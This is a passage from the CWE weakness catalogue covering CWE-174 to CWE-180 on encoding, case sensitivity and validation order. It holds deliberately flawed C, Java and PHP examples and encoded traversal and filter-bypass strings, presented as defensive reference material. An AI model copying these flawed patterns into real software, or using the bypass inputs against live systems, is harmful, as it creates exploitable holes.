<b>CVE-2004-1938</b>	"%2527" (double-encoded single quote) used in SQL injection. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1938">https://www.cve.org/CVERecord?id=CVE-2004-1938</a>
<b>CVE-2005-1945</b>	Double hex-encoded data. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1945">https://www.cve.org/CVERecord?id=CVE-2005-1945</a>
<b>CVE-2005-0054</b>	Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0054">https://www.cve.org/CVERecord?id=CVE-2005-0054</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

## Notes

### Research Gap

Probably under-studied.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Double Encoding

## CWE-175: Improper Handling of Mixed Encoding

**Weakness ID :** 175

**Structure :** Simple

**Abstraction :** Variant

### Description

The product does not properly handle when the same input uses several different (mixed) encodings.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		172	Encoding Error	415

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended

validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Fit	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Mixed Encoding

## CWE-176: Improper Handling of Unicode Encoding

**Weakness ID :** 176

**Structure :** Simple

**Abstraction :** Variant

### Description

The product does not properly handle when an input contains Unicode encoding.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	172	Encoding Error	415

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

### Demonstrative Examples

#### Example 1:

Windows provides the `MultiByteToWideChar()`, `WideCharToMultiByte()`, `UnicodeToBytes()`, and `BytesToUnicode()` functions to convert between arbitrary multibyte (usually ANSI) character strings and Unicode (wide character) strings. The size arguments to these functions are specified in different units, (one in bytes, the other in characters) making their use prone to error.

In a multibyte character string, each character occupies a varying number of bytes, and therefore the size of such strings is most easily specified as a total number of bytes. In Unicode, however, characters are always a fixed size, and string lengths are typically given by the number of characters they contain. Mistakenly specifying the wrong units in a size argument can lead to a buffer overflow.

The following function takes a username specified as a multibyte string and a pointer to a structure for user information and populates the structure with information about the specified user. Since Windows authentication uses Unicode for usernames, the username argument is first converted from a multibyte string to a Unicode string.

*Example Language: C*

*(Bad)*

```
void getUserInfo(char *username, struct _USER_INFO_2 info){
```



```

WCHAR unicodeUser[UNLEN+1];
MultiByteToWideChar(CP_ACP, 0, username, -1, unicodeUser, sizeof(unicodeUser));
NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
}

```

This function incorrectly passes the size of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() can therefore write up to (UNLEN+1)\*sizeof(WCHAR) wide characters, or (UNLEN+1)\*sizeof(WCHAR)\*sizeof(WCHAR) bytes, to the unicodeUser array, which has only (UNLEN+1)\*sizeof(WCHAR) bytes allocated.

If the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.

### Observed Examples

Reference	Description
<b>CVE-2000-0884</b>	Server allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain Unicode encoded characters. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0884">https://www.cve.org/CVERecord?id=CVE-2000-0884</a>
<b>CVE-2001-0709</b>	Server allows a remote attacker to obtain source code of ASP files via a URL encoded with Unicode. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0709">https://www.cve.org/CVERecord?id=CVE-2001-0709</a>
<b>CVE-2001-0669</b>	Overlaps interaction error. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0669">https://www.cve.org/CVERecord?id=CVE-2001-0669</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2144
MemberOf	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2174
MemberOf	<b>C</b>	992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unicode Encoding
CERT C Secure Coding	MSC10-C		Character Encoding - UTF8 Related Issues

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
71	Using Unicode Encoding to Bypass Validation Logic

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-177: Improper Handling of URL Encoding (Hex Encoding)

**Weakness ID** : 177

**Structure** : Simple

**Abstraction** : Variant

## Description

The product does not properly handle when all or part of an input has been URL encoded.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		172	Encoding Error	415

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Observed Examples

Reference	Description
<b>CVE-2000-0900</b>	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e" <a href="https://www.cve.org/CVERecord?id=CVE-2000-0900">https://www.cve.org/CVERecord?id=CVE-2000-0900</a>

Reference	Description
<b>CVE-2005-2256</b>	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e" <a href="https://www.cve.org/CVERecord?id=CVE-2005-2256">https://www.cve.org/CVERecord?id=CVE-2005-2256</a>
<b>CVE-2004-2121</b>	Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e" <a href="https://www.cve.org/CVERecord?id=CVE-2004-2121">https://www.cve.org/CVERecord?id=CVE-2004-2121</a>
<b>CVE-2004-0280</b>	"%20" (encoded space) <a href="https://www.cve.org/CVERecord?id=CVE-2004-0280">https://www.cve.org/CVERecord?id=CVE-2004-0280</a>
<b>CVE-2003-0424</b>	"%20" (encoded space) <a href="https://www.cve.org/CVERecord?id=CVE-2003-0424">https://www.cve.org/CVERecord?id=CVE-2003-0424</a>
<b>CVE-2001-0693</b>	"%20" (encoded space) <a href="https://www.cve.org/CVERecord?id=CVE-2001-0693">https://www.cve.org/CVERecord?id=CVE-2001-0693</a>
<b>CVE-2001-0778</b>	"%20" (encoded space) <a href="https://www.cve.org/CVERecord?id=CVE-2001-0778">https://www.cve.org/CVERecord?id=CVE-2001-0778</a>
<b>CVE-2002-1831</b>	Crash via hex-encoded space "%20". <a href="https://www.cve.org/CVERecord?id=CVE-2002-1831">https://www.cve.org/CVERecord?id=CVE-2002-1831</a>
<b>CVE-2000-0671</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2000-0671">https://www.cve.org/CVERecord?id=CVE-2000-0671</a>
<b>CVE-2004-0189</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2004-0189">https://www.cve.org/CVERecord?id=CVE-2004-0189</a>
<b>CVE-2002-1291</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2002-1291">https://www.cve.org/CVERecord?id=CVE-2002-1291</a>
<b>CVE-2002-1031</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2002-1031">https://www.cve.org/CVERecord?id=CVE-2002-1031</a>
<b>CVE-2001-1140</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2001-1140">https://www.cve.org/CVERecord?id=CVE-2001-1140</a>
<b>CVE-2004-0760</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2004-0760">https://www.cve.org/CVERecord?id=CVE-2004-0760</a>
<b>CVE-2002-1025</b>	"%00" (encoded null) <a href="https://www.cve.org/CVERecord?id=CVE-2002-1025">https://www.cve.org/CVERecord?id=CVE-2002-1025</a>
<b>CVE-2002-1213</b>	"%2f" (encoded slash) <a href="https://www.cve.org/CVERecord?id=CVE-2002-1213">https://www.cve.org/CVERecord?id=CVE-2002-1213</a>
<b>CVE-2004-0072</b>	"%5c" (encoded backslash) and "%2e" (encoded dot) sequences <a href="https://www.cve.org/CVERecord?id=CVE-2004-0072">https://www.cve.org/CVERecord?id=CVE-2004-0072</a>
<b>CVE-2004-0847</b>	"%5c" (encoded backslash) <a href="https://www.cve.org/CVERecord?id=CVE-2004-0847">https://www.cve.org/CVERecord?id=CVE-2004-0847</a>
<b>CVE-2002-1575</b>	"%0a" (overlaps CRLF) <a href="https://www.cve.org/CVERecord?id=CVE-2002-1575">https://www.cve.org/CVERecord?id=CVE-2002-1575</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			URL Encoding (Hex Encoding)

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic

CAPEC-ID	Attack Pattern Name
72	URL Encoding
120	Double Encoding
468	Generic Cross-Browser Cross-Domain Theft

## CWE-178: Improper Handling of Case Sensitivity

**Weakness ID :** 178

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not properly account for differences in case sensitivity when accessing or determining the properties of a resource, leading to inconsistent results.

### Extended Description





Improperly handled case sensitive data can lead to several possible consequences, including:

- case-insensitive passwords reducing the size of the key space, making brute force attacks easier
- bypassing filters or access controls using alternate names
- multiple interpretation errors using alternate names.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439
PeerOf		1289	Improper Validation of Unsafe Equivalence in Input	1974
CanPrecede		289	Authentication Bypass by Alternate Name	666
CanPrecede		433	Unparsed Raw Web Content Delivery	989

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1439

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		19	Data Processing Errors	2101

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase:** Architecture and Design

*Strategy = Input Validation*

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

#### Demonstrative Examples

##### Example 1:

In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:

*Example Language: Java*

*(Bad)*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

The code only works when the "script" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as "SCRIPT" or "ScRiPt" will not be neutralized by this method, allowing an XSS attack.

#### Observed Examples

Reference	Description
<b>CVE-2000-0499</b>	Application server allows attackers to bypass execution of a jsp page and read the source code using an upper case JSP extension in the request. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0499">https://www.cve.org/CVERecord?id=CVE-2000-0499</a>
<b>CVE-2000-0497</b>	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". <a href="https://www.cve.org/CVERecord?id=CVE-2000-0497">https://www.cve.org/CVERecord?id=CVE-2000-0497</a>
<b>CVE-2000-0498</b>	The server is case sensitive, so filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". <a href="https://www.cve.org/CVERecord?id=CVE-2000-0498">https://www.cve.org/CVERecord?id=CVE-2000-0498</a>

Reference	Description
<b>CVE-2001-0766</b>	A URL that contains some characters whose case is not matched by the server's filters may bypass access restrictions because the case-insensitive file system will then handle the request after it bypasses the case sensitive filter. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0766">https://www.cve.org/CVERecord?id=CVE-2001-0766</a>
<b>CVE-2001-0795</b>	Server allows remote attackers to obtain source code of CGI scripts via URLs that contain MS-DOS conventions such as (1) upper case letters or (2) 8.3 file names. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0795">https://www.cve.org/CVERecord?id=CVE-2001-0795</a>
<b>CVE-2001-1238</b>	Task Manager does not allow local users to end processes with uppercase letters named (1) winlogon.exe, (2) csrss.exe, (3) smss.exe and (4) services.exe via the Process tab which could allow local users to install Trojan horses that cannot be stopped. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1238">https://www.cve.org/CVERecord?id=CVE-2001-1238</a>
<b>CVE-2003-0411</b>	chain: Code was ported from a case-sensitive Unix platform to a case-insensitive Windows platform where filetype handlers treat .jsp and .JSP as different extensions. JSP source code may be read because .JSP defaults to the filetype "text". <a href="https://www.cve.org/CVERecord?id=CVE-2003-0411">https://www.cve.org/CVERecord?id=CVE-2003-0411</a>
<b>CVE-2002-0485</b>	Leads to interpretation error <a href="https://www.cve.org/CVERecord?id=CVE-2002-0485">https://www.cve.org/CVERecord?id=CVE-2002-0485</a>
<b>CVE-1999-0239</b>	Directories may be listed because lower case web requests are not properly handled by the server. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0239">https://www.cve.org/CVERecord?id=CVE-1999-0239</a>
<b>CVE-2005-0269</b>	File extension check in forum software only verifies extensions that contain all lowercase letters, which allows remote attackers to upload arbitrary files via file extensions that include uppercase letters. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0269">https://www.cve.org/CVERecord?id=CVE-2005-0269</a>
<b>CVE-2004-1083</b>	Web server restricts access to files in a case sensitive manner, but the filesystem accesses files in a case insensitive manner, which allows remote attackers to read privileged files using alternate capitalization. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1083">https://www.cve.org/CVERecord?id=CVE-2004-1083</a>
<b>CVE-2002-2119</b>	Case insensitive passwords lead to search space reduction. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2119">https://www.cve.org/CVERecord?id=CVE-2002-2119</a>
<b>CVE-2004-2214</b>	HTTP server allows bypass of access restrictions using URIs with mixed case. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2214">https://www.cve.org/CVERecord?id=CVE-2004-2214</a>
<b>CVE-2004-2154</b>	Mixed upper/lowercase allows bypass of ACLs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2154">https://www.cve.org/CVERecord?id=CVE-2004-2154</a>
<b>CVE-2005-4509</b>	Bypass malicious script detection by using tokens that aren't case sensitive. <a href="https://www.cve.org/CVERecord?id=CVE-2005-4509">https://www.cve.org/CVERecord?id=CVE-2005-4509</a>
<b>CVE-2002-1820</b>	Mixed case problem allows "admin" to have "Admin" rights (alternate name property). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1820">https://www.cve.org/CVERecord?id=CVE-2002-1820</a>
<b>CVE-2007-3365</b>	Chain: uppercase file extensions causes web server to return script source code instead of executing the script. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3365">https://www.cve.org/CVERecord?id=CVE-2007-3365</a>
<b>CVE-2021-39155</b>	Chain: A microservice integration and management platform compares the hostname in the HTTP Host header in a case-sensitive way (CWE-178, CWE-1289), allowing bypass of the authorization policy (CWE-863) using a hostname with mixed case or other variations. <a href="https://www.cve.org/CVERecord?id=CVE-2021-39155">https://www.cve.org/CVERecord?id=CVE-2021-39155</a>

### Functional Areas

- File Processing



## Affected Resources

- File or Directory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

## Notes

### Research Gap

These are probably under-studied in Windows and Mac environments, where file names are case-insensitive and thus are subject to equivalence manipulations involving case.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Case Sensitivity (lowercase, uppercase, mixed case)

## CWE-179: Incorrect Behavior Order: Early Validation

**Weakness ID :** 179

**Structure :** Simple

**Abstraction :** Base

## Description

The product validates input before applying protection mechanisms that modify the input, which could allow an attacker to bypass the validation via dangerous inputs that only arise after the modification.

## Extended Description

Product needs to validate data at the proper time, after data has been canonicalized and cleansed. Early validation is susceptible to various manipulations that result in dangerous inputs that are produced by canonicalization and cleansing.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	19
ChildOf		696	Incorrect Behavior Order	1426
ParentOf		180	Incorrect Behavior Order: Validate Before Canonicalize	433
ParentOf		181	Incorrect Behavior Order: Validate Before Filter	435

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1215	Data Validation Issues	2271
MemberOf		438	Behavioral Problems	2120

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control Integrity	Bypass Protection Mechanism Execute Unauthorized Code or Commands	
	<i>An attacker could include dangerous input that bypasses validation protection mechanisms which can be used to launch various attacks including injection attacks, execute arbitrary code or cause other unintended behavior.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Demonstrative Examples

### Example 1:

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

*Example Language: Java*

*(Bad)*

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

The problem with the above code is that the validation step occurs before canonicalization occurs. An attacker could provide an input path of `"/safe_dir/.."` that would pass the validation step. However, the canonicalization process sees the double dot as a traversal to the parent directory and hence when canonized the path would become just `"/"`.

To avoid this problem, validation should occur after canonicalization takes place. In this case canonicalization occurs during the initialization of the File object. The code below fixes the issue.

*Example Language: Java*

*(Good)*

```
String path = getInputPath();
File f = new File(path);
if (f.getCanonicalPath().startsWith("/safe_dir/"))
{
    return f.getCanonicalPath();
}
```

### Example 2:

This script creates a subdirectory within a user directory and sets the user as the owner.

Example Language: PHP

(Bad)

```
function createDir($userName,$dirName){
    $userDir = '/users/'. $userName;
    if(strpos($dirName,'..') !== false){
        echo 'Directory name contains invalid sequence';
        return;
    }
    //filter out '~' because other scripts identify user directories by this prefix
    $dirName = str_replace('~','',$dirName);
    $newDir = $userDir . $dirName;
    mkdir($newDir, 0700);
    chown($newDir,$userName);
}
```




While the script attempts to screen for '..' sequences, an attacker can submit a directory path including "~.", which will then become ".." after the filtering step. This allows a Path Traversal (CWE-21) attack to occur.

### Observed Examples

Reference	Description
<b>CVE-2002-0433</b>	Product allows remote attackers to view restricted files via an HTTP request containing a "*" (wildcard or asterisk) character. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0433">https://www.cve.org/CVERecord?id=CVE-2002-0433</a>
<b>CVE-2003-0332</b>	Product modifies the first two letters of a filename extension after performing a security check, which allows remote attackers to bypass authentication via a filename with a .ats extension instead of a .hts extension. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0332">https://www.cve.org/CVERecord?id=CVE-2003-0332</a>
<b>CVE-2002-0802</b>	Database consumes an extra character when processing a character that cannot be converted, which could remove an escape character from the query and make the application subject to SQL injection attacks. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0802">https://www.cve.org/CVERecord?id=CVE-2002-0802</a>
<b>CVE-2000-0191</b>	Overlaps "fakechild/./realchild" <a href="https://www.cve.org/CVERecord?id=CVE-2000-0191">https://www.cve.org/CVERecord?id=CVE-2000-0191</a>
<b>CVE-2004-2363</b>	Product checks URI for "<" and other literal characters, but does it before hex decoding the URI, so "%3E" and other sequences are allowed. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2363">https://www.cve.org/CVERecord?id=CVE-2004-2363</a>
<b>CVE-2002-0934</b>	Directory traversal vulnerability allows remote attackers to read or modify arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0934">https://www.cve.org/CVERecord?id=CVE-2002-0934</a>
<b>CVE-2003-0282</b>	Directory traversal vulnerability allows attackers to overwrite arbitrary files via invalid characters between two . (dot) characters, which are filtered and result in a ".." sequence. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0282">https://www.cve.org/CVERecord?id=CVE-2003-0282</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf		884	CWE Cross-section	884	2327
MemberOf		992	SFP Secondary Cluster: Faulty Input Transformation	888	2209

### Notes

#### Research Gap

These errors are mostly reported in path traversal vulnerabilities, but the concept applies whenever validation occurs.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Early Validation Errors

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
43	Exploiting Multiple Input Interpretation Layers
71	Using Unicode Encoding to Bypass Validation Logic

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-180: Incorrect Behavior Order: Validate Before Canonicalize

**Weakness ID :** 180  
**Structure :** Simple  
**Abstraction :** Variant

### Description

The product validates input before it is canonicalized, which prevents the product from detecting data that becomes invalid after the canonicalization step.

### Extended Description

This can be used by an attacker to bypass the validation and launch attacks that expose weaknesses that would otherwise be prevented, such as injection.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊖	179	Incorrect Behavior Order: Early Validation	430

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same

input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

## Demonstrative Examples

### Example 1:

The following code attempts to validate a given input path by checking it against an allowlist and then return the canonical path. In this specific case, the path is considered valid if it starts with the string `"/safe_dir/"`.

Example Language: Java

(Bad)

```
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
    File f = new File(path);
    return f.getCanonicalPath();
}
```

